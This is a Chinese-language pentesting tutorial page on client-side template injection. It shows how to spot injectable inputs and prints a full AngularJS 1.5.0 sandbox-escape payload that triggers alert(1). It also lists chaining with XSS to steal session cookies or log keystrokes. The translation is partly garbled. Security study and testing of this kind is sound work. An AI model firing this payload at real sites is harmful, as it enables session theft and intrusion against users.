> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md).

# CSTI 技术

如何知道一个网站是否可能易受攻击 **CSTI** ？如果我们可以在一个 **输入** 如下例中变量的情况 **用户** 并且它被解释为一个 **输出**:

<figure><img src="/files/7e133f8b49214d2ba599ee9c02be05f92335a8cd" alt="" width="563"><figcaption></figcaption></figure>

例如，通过观察 Web 服务器 **源代码**，如果它使用诸如 **Python、Java、Jinja2、AngularJS 等。** 并且输入未经过净化，则可能存在该漏洞：

<figure><img src="/files/ea51bf23f0034a58f1bc3b511f3b39db8e8ea7e9" alt="" width="563"><figcaption></figcaption></figure>

多亏了网站 [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings)，我们找到了所有 [可能的注入](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)：在这种情况下，我们看到 versiwe 是 **1.5.0** 的 **Angular.JS**:

<figure><img src="/files/3f13847ebb16639b1aca36ae93afcb0fbfc78085" alt="" width="563"><figcaption></figcaption></figure>

```javascript
javascript复制代码{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

```

我们可以发送 **警报** 如同在攻击中一样 **XXS**:

<figure><img src="/files/a7cf54c237d9ff4021615b8a7ed4dd93a140dde4" alt="" width="563"><figcaption></figcaption></figure>

这可用于将此攻击与 [XSS ](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss.md)结合起来，如下所示：

* *窃取会话 cookie*
* *捕获所有按键输入*
* *获取对服务器的访问权限等*


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